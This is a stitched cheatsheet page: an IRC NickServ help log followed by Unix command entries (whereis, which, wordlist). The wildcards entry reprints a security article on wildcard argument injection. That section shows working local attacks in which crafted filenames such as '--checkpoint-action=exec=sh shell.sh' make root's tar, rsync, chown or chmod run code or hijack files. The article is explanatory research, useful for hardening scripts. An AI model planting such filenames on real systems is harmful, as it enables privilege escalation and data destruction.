07:56:18           weechat =!= | Fehler mit dem Befehl "/msg NickServ" aufgetreten (nutze: /help msg)
07:56:22 chat.freenode.net  -- | MSG(NickServ): help
07:56:22 chat.freenode.net  -- | NickServ (NickServ@services.): ***** NickServ Help *****
07:56:22 chat.freenode.net  -- | NickServ (NickServ@services.): NickServ allows users to 'register' a nickname, and stop
07:56:22 chat.freenode.net  -- | NickServ (NickServ@services.): others from using that nick. NickServ allows the owner of a
07:56:22 chat.freenode.net  -- | NickServ (NickServ@services.): nickname to disconnect a user from the network that is using
07:56:22 chat.freenode.net  -- | NickServ (NickServ@services.): their nickname.
07:56:22 chat.freenode.net  -- | NickServ (NickServ@services.):
07:56:22 chat.freenode.net  -- | NickServ (NickServ@services.): For more information on a command, type:
07:56:22 chat.freenode.net  -- | NickServ (NickServ@services.): /msg NickServ help <command>
07:56:22 chat.freenode.net  -- | NickServ (NickServ@services.): For a verbose listing of all commands, type:
07:56:22 chat.freenode.net  -- | NickServ (NickServ@services.): /msg NickServ help commands
07:56:22 chat.freenode.net  -- | NickServ (NickServ@services.):
07:56:22 chat.freenode.net  -- | NickServ (NickServ@services.): The following commands are available:
07:56:22 chat.freenode.net  -- | NickServ (NickServ@services.): GHOST           Reclaims use of a nickname.
07:56:22 chat.freenode.net  -- | NickServ (NickServ@services.): IDENTIFY        Identifies to services for a nickname.
07:56:22 chat.freenode.net  -- | NickServ (NickServ@services.): INFO            Displays information on registrations.
07:56:22 chat.freenode.net  -- | NickServ (NickServ@services.): LISTCHANS       Lists channels that you have access to.
07:56:22 chat.freenode.net  -- | NickServ (NickServ@services.): REGISTER        Registers a nickname.
07:56:22 chat.freenode.net  -- | NickServ (NickServ@services.): RELEASE         Releases a services enforcer.
07:56:22 chat.freenode.net  -- | NickServ (NickServ@services.): SENDPASS        Email registration passwords.
07:56:22 chat.freenode.net  -- | NickServ (NickServ@services.):
07:56:22 chat.freenode.net  -- | NickServ (NickServ@services.): Other commands: ACC, ACCESS, CERT, DROP, HELP, LOGOUT,
07:56:22 chat.freenode.net  -- | NickServ (NickServ@services.):                 REGAIN, SETPASS, STATUS, TAXONOMY, VERIFY
07:56:22 chat.freenode.net  -- | NickServ (NickServ@services.): ***** End of Help *****

#==============================##==============================#
# CMD WEECHAT						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

233 - 🖥️whereis

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the whereis command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██╗    ██╗██╗  ██╗███████╗██████╗ ███████╗██╗███████╗
#                ██║    ██║██║  ██║██╔════╝██╔══██╗██╔════╝██║██╔════╝
#                ██║ █╗ ██║███████║█████╗  ██████╔╝█████╗  ██║███████╗
#                ██║███╗██║██╔══██║██╔══╝  ██╔══██╗██╔══╝  ██║╚════██║
#                ╚███╔███╔╝██║  ██║███████╗██║  ██║███████╗██║███████║
#                 ╚══╝╚══╝ ╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝╚══════╝╚═╝╚══════╝
                                                                     
                                                                     

# The whereis command shows in output locations of the binary, source, and manual page files for a command.

whereis ls
ls: /bin/ls /usr/share/man/man1/ls.1posix.gz /usr/share/man/man1/ls.1.gz

#==============================##==============================#
# CMD WHEREIS						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

234 - 🖥️which

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the which command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██╗    ██╗██╗  ██╗██╗ ██████╗██╗  ██╗
#                ██║    ██║██║  ██║██║██╔════╝██║  ██║
#                ██║ █╗ ██║███████║██║██║     ███████║
#                ██║███╗██║██╔══██║██║██║     ██╔══██║
#                ╚███╔███╔╝██║  ██║██║╚██████╗██║  ██║
#                 ╚══╝╚══╝ ╚═╝  ╚═╝╚═╝ ╚═════╝╚═╝  ╚═╝
                                                     
                                                     
                                                    

# The which command basically lets you locate a command - the file and the path of the file that gets executed. For example:

which date
/bin/date

#==============================##==============================#
# CMD WHICH						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

235 - 🖥️wildcards

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the wildcards command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗    ██╗██╗██╗     ██████╗  ██████╗ █████╗ ██████╗ ██████╗ ███████╗
#  ██║    ██║██║██║     ██╔══██╗██╔════╝██╔══██╗██╔══██╗██╔══██╗██╔════╝
#  ██║ █╗ ██║██║██║     ██║  ██║██║     ███████║██████╔╝██║  ██║███████╗
#  ██║███╗██║██║██║     ██║  ██║██║     ██╔══██║██╔══██╗██║  ██║╚════██║
#  ╚███╔███╔╝██║███████╗██████╔╝╚██████╗██║  ██║██║  ██║██████╔╝███████║
#   ╚══╝╚══╝ ╚═╝╚══════╝╚═════╝  ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝╚═════╝ ╚══════╝

###
# DefenseCode Unix WildCards Gone Wild
#------------------------------------#

Back To The Future: Unix Wildcards Gone Wild
============================================
- Leon Juranic <[email protected]> 
- Creation Date: 04/20/2013
- Release Date: 06/25/2014

Table Of Content:

===[ 1. Introduction
===[ 2. Unix Wildcards For Dummies
===[ 3. Wildcard Wilderness
===[ 4. Something more useful...
      4.1 Chown file reference trick (file owner hijacking)
      4.2 Chmod file reference trick
      4.3 Tar arbitrary command execution 
      4.4 Rsync arbitrary command execution
===[ 5. Conclusion

===[ 1. Introduction

First of all, this article has nothing to do with modern hacking
techniques like ASLR bypass, ROP exploits, 0day remote kernel exploits or Chrome's
Chain-14-Different-Bugs-To-Get-There... 
Nope, nothing of the above. This article will cover one interesting
old-school Unix hacking technique, that will still work nowadays in 2013.
Hacking technique of which (to my suprise) even many security-related people haven't heard of. 
That is probably because nobody ever really talked about it before.
Why I decided to write on this subject is because, to me personally, it's pretty funny 
to see what can be done with simple Unix wildcard poisoning tricks.
So, from this article, what you can expect is collection of neat *nix hacking
tricks that as far as I know somehow didn't emerge earlier. 
If you wonder how basic Unix tools like 'tar' or 'chown' can lead to
full system compromise, keep on reading.
Ladies and gentleman; take your seats, fasten your belts and hold on tight
- cause we're going straight back to the 80's, right to the Unix shell hacking... 
(Is this bad-hair-rock/groovy disco music playing in the background? I think sooo...)

===[ 2. Unix Wildcards For Dummies

If you already know what Unix wildcards are, and how (and why) are they 
used in shell scripting, you should skip this part.
However, we will include Wildcard definition here just for the sake of
consistency and for potential newcomers.
Wildcard is a character, or set of characters that can be used as a
replacement for some range/class of characters. Wildcards are interpreted 
by shell before any other action is taken.

Some Shell Wildcards:

    *     An asterisk matches any number of characters
          in a filename, including none.
    ?     The question mark matches any single
          character.
    [ ]   Brackets enclose a set of characters, any
          one of which may match a single character
          at that position.
    -     A hyphen used within [ ] denotes a range of
          characters.
    ~     A tilde at the beginning of a word expands
          to the name of your home directory.  If you
          append another user's login name to the
          character, it refers to that user's home
          directory.

Basic example of wildcards usage:

# ls *.php
- List all files with PHP extension

# rm *.gz
- Delete all GZIP files

# cat backup*
- Show content of all files which name is beginning with 'backup' string

# ls test?
- List all files whose name is beginning with string 'test' and has exactly
  one additional character

===[ 3. Wildcard Wilderness

Wildcards as their name states, are "wild" by their nature, but moreover, 
in some cases, wildcards can go berserk.
During the initial phase of playing with this interesting wildcard tricks,
I've talked with dozen old-school Unix admins and security people,
just to find out how many of them knows about wildcard tricks, and
potential danger that they pose.
To my suprise, only two of 20 people stated that they know it's not 
wise to use wildcard, particulary in 'rm' command, because someone
could abuse it with "argument-like-filename". One of them said that he 
heard of that years ago on some basic Linux admin course. Funny.

Simple trick behind this technique is that when using shell wildcards, 
especially asterisk (*), Unix shell will interpret files beginning with hyphen
(-) character as command line arguments to executed command/program.
That leaves space for variation of classic channeling attack.
Channeling problem will arise when different kind of information channels 
are combined into single channel. Practical case in form of particulary this technique 
is combining arguments and filenames, as different "channels" into single,
because of using shell wildcards.

Let's check one very basic wildcard argument injection example.

[root@defensecode public]# ls -al
total 20
drwxrwxr-x.  5 leon   leon   4096 Oct 28 17:04 .
drwx------. 22 leon   leon   4096 Oct 28 16:15 ..
drwxrwxr-x.  2 leon   leon   4096 Oct 28 17:04 DIR1
drwxrwxr-x.  2 leon   leon   4096 Oct 28 17:04 DIR2
drwxrwxr-x.  2 leon   leon   4096 Oct 28 17:04 DIR3
-rw-rw-r--.  1 leon   leon      0 Oct 28 17:03 file1.txt
-rw-rw-r--.  1 leon   leon      0 Oct 28 17:03 file2.txt
-rw-rw-r--.  1 leon   leon      0 Oct 28 17:03 file3.txt
-rw-rw-r--.  1 nobody nobody    0 Oct 28 16:38 -rf

We have directory with few subdirectories and few files in it.
There is also file with '-rf' filename ther owned by the user 'nobody'.
Now, let's run 'rm *' command, and check directory content again.

[root@defensecode public]# rm *
[root@defensecode public]# ls -al
total 8
drwxrwxr-x.  2 leon   leon   4096 Oct 28 17:05 .
drwx------. 22 leon   leon   4096 Oct 28 16:15 ..
-rw-rw-r--.  1 nobody nobody    0 Oct 28 16:38 -rf

Directory is totally empty, except for '-rf' file in it.
All files and directories were recursively deleted, and it's pretty obvious what happened...
When we started 'rm' command with asterisk argument, all filenames in current
directory were passed as arguments to 'rm' on command line, exactly same as 
following line:

[user@defensecode WILD]$ rm DIR1 DIR2 DIR3 file1.txt file2.txt file3.txt -rf

Since there is '-rf' filename in current directory, 'rm' got -rf option as the
last argument, and all files in current directory were recursively deleted.
We can also check that with strace:

[leon@defensecode WILD]$ strace rm *
execve("/bin/rm", ["rm", "DIR1", "DIR2", "DIR3", "file1.txt", "file2.txt", 
"file3.txt", "-rf"], [/* 25 vars */]) = 0
              ^- HERE

Now we know how it's possible to inject arbitrary arguments to the unix
shell programs. In the following chapter we will discuss how we can abuse that
feature to do much more than just recursively delete files.

===[ 4. Something more useful...

Since now we know how it's possible to inject arbitrary arguments to
shell commands, let's demonstrate few examples that are more useful,
than just recursive file unlinking.
First, when I stumbled across this wildcard tricks, I was starting to look
for basic and common Unix programs that could be seriously affected 
with arbitrary and unexpected arguments. 
In real-world cases, following examples could be abused in form of direct
interactive shell poisoning, or through some commands started from cron job,
shell scripts, through some web application, and so on.
In all examples below, attacker is hidden behind 'leon' account, and victim 
is of course - root account.

==[ 4.1 Chown file reference trick (file owner hijacking)

First really interesting target I've stumbled across is 'chown'. 
Let's say that we have some publicly writeable directory with bunch of
PHP files in there, and root user wants to change owner of all PHP files to 'nobody'.
Pay attention to the file owners in the following files list.

[root@defensecode public]# ls -al
total 52
drwxrwxrwx.  2 user user 4096 Oct 28 17:47 .
drwx------. 22 user user 4096 Oct 28 17:34 ..
-rw-rw-r--.  1 user user   66 Oct 28 17:36 admin.php
-rw-rw-r--.  1 user user   34 Oct 28 17:35 ado.php
-rw-rw-r--.  1 user user   80 Oct 28 17:44 config.php
-rw-rw-r--.  1 user user  187 Oct 28 17:44 db.php
-rw-rw-r--.  1 user user  201 Oct 28 17:35 download.php
-rw-r--r--.  1 leon leon    0 Oct 28 17:40 .drf.php
-rw-rw-r--.  1 user user   43 Oct 28 17:35 file1.php
-rw-rw-r--.  1 user user   56 Oct 28 17:47 footer.php
-rw-rw-r--.  1 user user  357 Oct 28 17:36 global.php
-rw-rw-r--.  1 user user  225 Oct 28 17:35 header.php
-rw-rw-r--.  1 user user  117 Oct 28 17:35 inc.php
-rw-rw-r--.  1 user user  111 Oct 28 17:38 index.php
-rw-rw-r--.  1 leon leon    0 Oct 28 17:45 --reference=.drf.php
-rw-rw----.  1 user user   66 Oct 28 17:35 password.inc.php
-rw-rw-r--.  1 user user   94 Oct 28 17:35 script.php

Files in this public directory are mostly owned by the user named 'user', 
and root user will now change that to 'nobody'.

[root@defensecode public]# chown -R nobody:nobody *.php

Let's see who owns files now...

[root@defensecode public]# ls -al
total 52
drwxrwxrwx.  2 user user 4096 Oct 28 17:47 .
drwx------. 22 user user 4096 Oct 28 17:34 ..
-rw-rw-r--.  1 leon leon   66 Oct 28 17:36 admin.php
-rw-rw-r--.  1 leon leon   34 Oct 28 17:35 ado.php
-rw-rw-r--.  1 leon leon   80 Oct 28 17:44 config.php
-rw-rw-r--.  1 leon leon  187 Oct 28 17:44 db.php
-rw-rw-r--.  1 leon leon  201 Oct 28 17:35 download.php
-rw-r--r--.  1 leon leon    0 Oct 28 17:40 .drf.php
-rw-rw-r--.  1 leon leon   43 Oct 28 17:35 file1.php
-rw-rw-r--.  1 leon leon   56 Oct 28 17:47 footer.php
-rw-rw-r--.  1 leon leon  357 Oct 28 17:36 global.php
-rw-rw-r--.  1 leon leon  225 Oct 28 17:35 header.php
-rw-rw-r--.  1 leon leon  117 Oct 28 17:35 inc.php
-rw-rw-r--.  1 leon leon  111 Oct 28 17:38 index.php
-rw-rw-r--.  1 leon leon    0 Oct 28 17:45 --reference=.drf.php
-rw-rw----.  1 leon leon   66 Oct 28 17:35 password.inc.php
-rw-rw-r--.  1 leon leon   94 Oct 28 17:35 script.php

Something is not right... What happened? Somebody got drunk here.
Superuser tried to change files owner to the user:group 'nobody', but somehow, 
all files are owned by the user 'leon' now.

If we take closer look, this directory previously contained just the 
following two files created and owned by the user 'leon'.

-rw-r--r--.  1 leon leon    0 Oct 28 17:40 .drf.php
-rw-rw-r--.  1 leon leon    0 Oct 28 17:45 --reference=.drf.php

Thing is that wildcard character used in 'chown' command line took arbitrary 
'--reference=.drf.php' file and passed it to the chown command at
the command line as an option.

Let's check chown manual page (man chown):
   --reference=RFILE
          use RFILE's owner and group rather than specifying OWNER:GROUP values

So in this case, '--reference' option to 'chown' will override 'nobody:nobody'
specified as the root, and new owner of files in this directory will be exactly
same as the owner of '.drf.php', which is in this case user 'leon'.
Just for the record, '.drf' is short for Dummy Reference File. :)

To conclude, reference option can be abused to change ownership of files to some 
arbitrary user. If we set some other file as argument to the --reference option,
file that's owned by some other user, not 'leon', in that case he would become owner 
of all files in this directory.

With this simple chown parameter pollution, we can trick root into changing ownership 
of files to arbitrary users, and practically "hijack" files that are of interest to us.

Even more, if user 'leon' previously created a symbolic link in that directory 
that points to let's say /etc/shadow, ownership of /etc/shadow would also be changed 
to the user 'leon'.

===[ 4.2 Chmod file reference trick

Another interesting attack vector similar to previously described 'chown' 
attack is 'chmod'.
Chmod also has --reference option that can be abused to specify arbitrary 
permissions on files selected with asterisk wildcard.

Chmod manual page (man chmod):
       --reference=RFILE
              use RFILE's mode instead of MODE values

Example is presented below.

[root@defensecode public]# ls -al
total 68
drwxrwxrwx.  2 user user  4096 Oct 29 00:41 .
drwx------. 24 user user  4096 Oct 28 18:32 ..
-rw-rw-r--.  1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r--.  1 user user    34 Oct 28 17:47 ado.php
-rw-rw-r--.  1 user user   187 Oct 28 17:44 db.php
-rw-rw-r--.  1 user user   201 Oct 28 17:43 download.php
-rwxrwxrwx.  1 leon leon     0 Oct 29 00:40 .drf.php
-rw-rw-r--.  1 user user    43 Oct 28 17:35 file1.php
-rw-rw-r--.  1 user user    56 Oct 28 17:47 footer.php
-rw-rw-r--.  1 user user   357 Oct 28 17:36 global.php
-rw-rw-r--.  1 user user   225 Oct 28 17:37 header.php
-rw-rw-r--.  1 user user   117 Oct 28 17:36 inc.php
-rw-rw-r--.  1 user user   111 Oct 28 17:38 index.php
-rw-r--r--.  1 leon leon     0 Oct 29 00:41 --reference=.drf.php
-rw-rw-r--.  1 user user    94 Oct 28 17:38 script.php

Superuser will now try to set mode 000 on all files.

[root@defensecode public]# chmod 000 *

Let's check permissions on files...

[root@defensecode public]# ls -al
total 68
drwxrwxrwx.  2 user user  4096 Oct 29 00:41 .
drwx------. 24 user user  4096 Oct 28 18:32 ..
-rwxrwxrwx.  1 user user 20480 Oct 28 19:13 admin.php
-rwxrwxrwx.  1 user user    34 Oct 28 17:47 ado.php
-rwxrwxrwx.  1 user user   187 Oct 28 17:44 db.php
-rwxrwxrwx.  1 user user   201 Oct 28 17:43 download.php
-rwxrwxrwx.  1 leon leon     0 Oct 29 00:40 .drf.php
-rwxrwxrwx.  1 user user    43 Oct 28 17:35 file1.php
-rwxrwxrwx.  1 user user    56 Oct 28 17:47 footer.php
-rwxrwxrwx.  1 user user   357 Oct 28 17:36 global.php
-rwxrwxrwx.  1 user user   225 Oct 28 17:37 header.php
-rwxrwxrwx.  1 user user   117 Oct 28 17:36 inc.php
-rwxrwxrwx.  1 user user   111 Oct 28 17:38 index.php
-rw-r--r--.  1 leon leon     0 Oct 29 00:41 --reference=.drf.php
-rwxrwxrwx.  1 user user    94 Oct 28 17:38 script.php

What happened? Instead of 000, all files are now set to mode 777 because
of the '--reference' option supplied through file name..
Once again, file .drf.php owned by user 'leon' with mode 777 was 
used as reference file and since --reference option is supplied, all files
will be set to mode 777.
Beside just --reference option, attacker can also create another file with 
'-R' filename, to change file permissions on files in all subdirectories recursively.

===[ 4.3 Tar arbitrary command execution 

Previous example is nice example of file ownership hijacking. Now, let's go to even 
more interesting stuff like arbitrary command execution. Tar is very common unix program 
for creating and extracting archives.
Common usage for lets say creating archives is:

[root@defensecode public]# tar cvvf archive.tar *

So, what's the problem with 'tar'? 
Thing is that tar has many options, and among them, there some pretty interesting
options from arbitrary parameter injection point of view.

Let's check tar manual page (man tar):

      --checkpoint[=NUMBER]
              display progress messages every NUMBERth record (default 10)

       --checkpoint-action=ACTION
              execute ACTION on each checkpoint

There is '--checkpoint-action' option, that will specify program which will
be executed when checkpoint is reached. Basically, that allows us arbitrary
command execution.

Check the following directory:

[root@defensecode public]# ls -al
total 72
drwxrwxrwx.  2 user user  4096 Oct 28 19:34 .
drwx------. 24 user user  4096 Oct 28 18:32 ..
-rw-rw-r--.  1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r--.  1 user user    34 Oct 28 17:47 ado.php
-rw-r--r--.  1 leon leon     0 Oct 28 19:19 --checkpoint=1
-rw-r--r--.  1 leon leon     0 Oct 28 19:17 --checkpoint-action=exec=sh shell.sh
-rw-rw-r--.  1 user user   187 Oct 28 17:44 db.php
-rw-rw-r--.  1 user user   201 Oct 28 17:43 download.php
-rw-rw-r--.  1 user user    43 Oct 28 17:35 file1.php
-rw-rw-r--.  1 user user    56 Oct 28 17:47 footer.php
-rw-rw-r--.  1 user user   357 Oct 28 17:36 global.php
-rw-rw-r--.  1 user user   225 Oct 28 17:37 header.php
-rw-rw-r--.  1 user user   117 Oct 28 17:36 inc.php
-rw-rw-r--.  1 user user   111 Oct 28 17:38 index.php
-rw-rw-r--.  1 user user    94 Oct 28 17:38 script.php
-rwxr-xr-x.  1 leon leon    12 Oct 28 19:17 shell.sh

Now, for example, root user wants to create archive of all files in current 
directory.

[root@defensecode public]# tar cf archive.tar *

uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Boom! What happened? /usr/bin/id command gets executed! We've just achieved arbitrary command
execution under root privileges.
Once again, there are few files created by user 'leon'. 

-rw-r--r--.  1 leon leon     0 Oct 28 19:19 --checkpoint=1
-rw-r--r--.  1 leon leon     0 Oct 28 19:17 --checkpoint-action=exec=sh shell.sh
-rwxr-xr-x.  1 leon leon    12 Oct 28 19:17 shell.sh

Options '--checkpoint=1' and '--checkpoint-action=exec=sh shell.sh' are passed to the 
'tar' program as command line options. Basically, they command tar to execute shell.sh
shell script upon the execution.

[root@defensecode public]# cat shell.sh
/usr/bin/id

So, with this tar argument pollution, we can basically execute arbitrary commands 
with privileges of the user that runs tar. As demonstrated on the 'root' account above.

===[ 4.4 Rsync arbitrary command execution

Rsync is "a fast, versatile, remote (and local) file-copying tool", that is very
common on Unix systems.
If we check 'rsync' manual page, we can again find options that can be abused for arbitrary 
command execution.

Rsync manual:
"You use rsync in the same way you use rcp. You must specify a source and a destination, 
one of which may be remote."

Interesting rsync option from manual:

 -e, --rsh=COMMAND           specify the remote shell to use
     --rsync-path=PROGRAM    specify the rsync to run on remote machine

Let's abuse one example directly from the 'rsync' manual page.
Following example will copy all C files in local directory to a remote host 'foo' 
in '/src' directory.
# rsync -t *.c foo:src/

Directory content:

[root@defensecode public]# ls -al
total 72
drwxrwxrwx.  2 user user  4096 Mar 28 04:47 .
drwx------. 24 user user  4096 Oct 28 18:32 ..
-rwxr-xr-x.  1 user user 20480 Oct 28 19:13 admin.php
-rwxr-xr-x.  1 user user    34 Oct 28 17:47 ado.php
-rwxr-xr-x.  1 user user   187 Oct 28 17:44 db.php
-rwxr-xr-x.  1 user user   201 Oct 28 17:43 download.php
-rw-r--r--.  1 leon leon     0 Mar 28 04:45 -e sh shell.c
-rwxr-xr-x.  1 user user    43 Oct 28 17:35 file1.php
-rwxr-xr-x.  1 user user    56 Oct 28 17:47 footer.php
-rwxr-xr-x.  1 user user   357 Oct 28 17:36 global.php
-rwxr-xr-x.  1 user user   225 Oct 28 17:37 header.php
-rwxr-xr-x.  1 user user   117 Oct 28 17:36 inc.php
-rwxr-xr-x.  1 user user   111 Oct 28 17:38 index.php
-rwxr-xr-x.  1 user user    94 Oct 28 17:38 script.php
-rwxr-xr-x.  1 leon leon    31 Mar 28 04:45 shell.c

Now root will try to copy all C files to the remote server.

[root@defensecode public]# rsync -t *.c foo:src/

rsync: connection unexpectedly closed (0 bytes received so far) [sender]
rsync error: error in rsync protocol data stream (code 12) at io.c(601) [sender=3.0.8]

Let's see what happened...

[root@defensecode public]# ls -al
total 76
drwxrwxrwx.  2 user user  4096 Mar 28 04:49 .
drwx------. 24 user user  4096 Oct 28 18:32 ..
-rwxr-xr-x.  1 user user 20480 Oct 28 19:13 admin.php
-rwxr-xr-x.  1 user user    34 Oct 28 17:47 ado.php
-rwxr-xr-x.  1 user user   187 Oct 28 17:44 db.php
-rwxr-xr-x.  1 user user   201 Oct 28 17:43 download.php
-rw-r--r--.  1 leon leon     0 Mar 28 04:45 -e sh shell.c
-rwxr-xr-x.  1 user user    43 Oct 28 17:35 file1.php
-rwxr-xr-x.  1 user user    56 Oct 28 17:47 footer.php
-rwxr-xr-x.  1 user user   357 Oct 28 17:36 global.php
-rwxr-xr-x.  1 user user   225 Oct 28 17:37 header.php
-rwxr-xr-x.  1 user user   117 Oct 28 17:36 inc.php
-rwxr-xr-x.  1 user user   111 Oct 28 17:38 index.php
-rwxr-xr-x.  1 user user    94 Oct 28 17:38 script.php
-rwxr-xr-x.  1 leon leon    31 Mar 28 04:45 shell.c
-rw-r--r--.  1 root root   101 Mar 28 04:49 shell_output.txt

There were two files owned by user 'leon', as listed below.

-rw-r--r--.  1 leon leon     0 Mar 28 04:45 -e sh shell.c
-rwxr-xr-x.  1 leon leon    31 Mar 28 04:45 shell.c

After 'rsync' execution, new file shell_output.txt whose owner is root 
is created in same directory.

-rw-r--r--.  1 root root   101 Mar 28 04:49 shell_output.txt

If we check its content, following data is found.

[root@defensecode public]# cat shell_output.txt
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Trick is that because of the '*.c' wildcard, 'rsync' got '-e sh shell.c' option
on command line, and shell.c will be executed upon 'rsync' start.
Content of shell.c is presented below.

[root@defensecode public]# cat shell.c
/usr/bin/id > shell_output.txt

===[ 5. Conclusion

Techniques discussed in article can be applied in different forms on various popular 
Unix tools. In real-world attacks, arbitrary shell options/arguments could be hidden 
among regular files, and not so easily spotted by administrator. Moreover, in case of 
cron jobs, shell scripts or web applications that calls shell commands, that's not 
even important. Moreover, there are probably much more popular Unix tools susceptible 
to previously described wildcard attacks.
Thanks to Hrvoje Spoljar and Sec-Consult for a few ideas regarding this document.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

236 - 🖥️wordlist

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the wordlist command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗    ██╗ ██████╗ ██████╗ ██████╗ ██╗     ██╗███████╗████████╗
#  ██║    ██║██╔═══██╗██╔══██╗██╔══██╗██║     ██║██╔════╝╚══██╔══╝
#  ██║ █╗ ██║██║   ██║██████╔╝██║  ██║██║     ██║███████╗   ██║   
#  ██║███╗██║██║   ██║██╔══██╗██║  ██║██║     ██║╚════██║   ██║   
#  ╚███╔███╔╝╚██████╔╝██║  ██║██████╔╝███████╗██║███████║   ██║   
#   ╚══╝╚══╝  ╚═════╝ ╚═╝  ╚═╝╚═════╝ ╚══════╝╚═╝╚══════╝   ╚═╝

# How can I sort and de-dupe a very long list of words?
awk "length($0) > 7" wordlist.txt > mynewwordlist.txt
sort -u wordlist.txt | awk 'length($0) > 7'

# Fastest way to delete duplicates in large wordlist?
sort -u input.txt -o output.txt 
awk '!x[$0]++' input.txt > output.txt

# Fastest `uniq` tool in linux 
awk '!x[$0]++' file.txt  large text file (1.5 G)

